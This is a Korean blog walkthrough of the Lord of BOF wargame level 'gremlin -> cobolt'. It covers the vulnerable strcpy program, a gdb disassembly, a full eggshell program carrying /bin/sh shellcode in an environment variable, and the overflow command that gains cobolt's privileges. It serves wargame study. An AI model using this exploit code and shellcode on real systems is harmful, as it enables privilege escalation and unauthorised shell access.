Phantom

[Gremlin] gremlin -> cobolt 풀이 본문

Pwnable/[Wargame]Load of Bof

[Gremlin] gremlin -> cobolt 풀이

Ph4nt0m_ 2014. 5. 28. 17:11
반응형
이번 단계는 cobolt이다 바로 본문으로 들어가겠다.



 문제소스보기



1
2
3
4
5
6
7
8
9
10
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

이번 문제는 쉘코드가 너무 커서 버퍼에 쉘코드를 저장할수 없게 됬다

버퍼는 16으로 전단계보다 줄었으며

이번에도 역시 argv[1]로 인자를 받아 strcpy로 문자열 길이를 검사하지 않고 그대로 buffer에 쓴다.

 gdb로 cobolt를 분석해보자

 [gremlin@localhost gremlin]$ gdb -q cob0lt 

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>: push   %ebp

0x8048431 <main+1>: mov    %esp,%ebp

0x8048433 <main+3>: sub    $0x10,%esp               // 함수 프롤로그 과정 스택에 0x10(16)의 크기                                                               를확보하면서 이번에도 역시 더미가 없는것을 알 수 있다.

-------------------중 략 --------------------------

0x8048453 <main+35>: mov    %eax,DWORD PTR [%ebp+12] //argv[1]의 주소값을 eax에 복사

0x8048456 <main+38>: add    %eax,4

0x8048459 <main+41>: mov    %edx,DWORD PTR [%eax]     //두번째 인자를 edx에 복사

0x804845b <main+43>: push   %edx                                //스택에 edx 푸시

0x804845c <main+44>: lea    %eax,[%ebp-16]                  //buffer의 주소값(첫번째 인자)을 eax에                                                                                   복사

0x804845f <main+47>: push   %eax                                   //스택에 eax 푸시

-------------------중 략 --------------------------

0x8048479 <main+73>: leave                                             //함수 에필로그

0x804847a <main+74>: ret

 쉘 획득 과정 페이로드

 이번에는 argv에 쉘코드를 넣을수 없다. 어떻게 해야하는가

처음 프로그램이 메모리에 적재 될때 환경변수가 가장 먼저 올라가고 argv, argc, RET, SFP순으로 적재 된다.

따라서 우리는 환경변수에 쉘을 적재시키고 적재된 주소값을 RET에 넣어 쉘을 실행시킬것이다.

"A"x20 + RET = 24로 버퍼를 오버플로우 할것이다.

 환경변수에 쉘을 집어넣는 eggshell코드

phantomEGG.c

 Colored By Color Scripter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#define DEFAULT_OFFSET          0
#define DEFAULT_ADDR_SIZE       8
#define DEFAULT_BUFFER_SIZE     16
#define DEFAULT_PHANTOM_SIZE    2048
#define NOP                     0x90
 
char shellcode[]=
        "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f
         \x73\x68\x68\x2f\x62\x69\x6e\x89
         \xe3\x52\x53\x89\xe1\xcd\x80";
 
unsigned long get_sp(){
        __asm__("movl %esp, %eax");
}
 
int main(int argc, char *argv[]){
        char *ptr, *phantomSH;
        char shAddr[DEFAULT_ADDR_SIZE+1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET;
        int i, phantomshLen=DEFAULT_PHANTOM_SIZE;
        int chgDec[3];
 
        if(!(phantomSH=malloc(phantomshLen))){
                printf("Can't allocate memory for phantomLen");
                exit(0);
        }
 
        addr = get_sp()-offset;
        printf("Using address : 0x%x\n",addr);
 
        ptr = phantomSH;
        for(i=0;i<phantomshLen-strlen(shellcode)-1;i++)
                *(ptr++)=NOP;
 
        for(i=0;i<strlen(shellcode);i++)
                *(ptr++)=shellcode[i];
 
        phantomSH[phantomshLen-1]='\0';
 
        memcpy(phantomSH,"PHANTOM=",DEFAULT_ADDR_SIZE);
        putenv(phantomSH);
 
        system("/bin/bash");
}

 쉘코드 주소 구하기

 phantomEGG.c를 컴파일 하여 실행하면 환경변수가 올라간 쉘코드 주소를 출력한다.

[gremlin@localhost gremlin]$ ./phantomEGG 

Using address : 0xbffff2b8

 명령문 작성하기


 이제 명령문을 작성해보자


[gremlin@localhost gremlin]$ ./phantomEGG 

Using address : 0xbffffab8

[gremlin@localhost gremlin]$ ./cobolt $(perl -e 'print "A"x20, "\xb8\xfa\xff\xbf"')

AAAAAAAAAAAAAAAAAAAA뫄

bash$ id

uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)

 이로써 cobolt의 권한을 얻었다.



반응형

'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글

[wolfman] wolfman -> darkelf 풀이  (0) 2014.07.27
[Orc] orc -> wolfman 풀이  (0) 2014.07.23
[Goblin] goblin -> orc 풀이  (0) 2014.07.17
[Goblin] cobolt -> goblin 풀이  (0) 2014.07.15
[Gate] gate -> gremlin 풀이  (0) 2014.05.27
Comments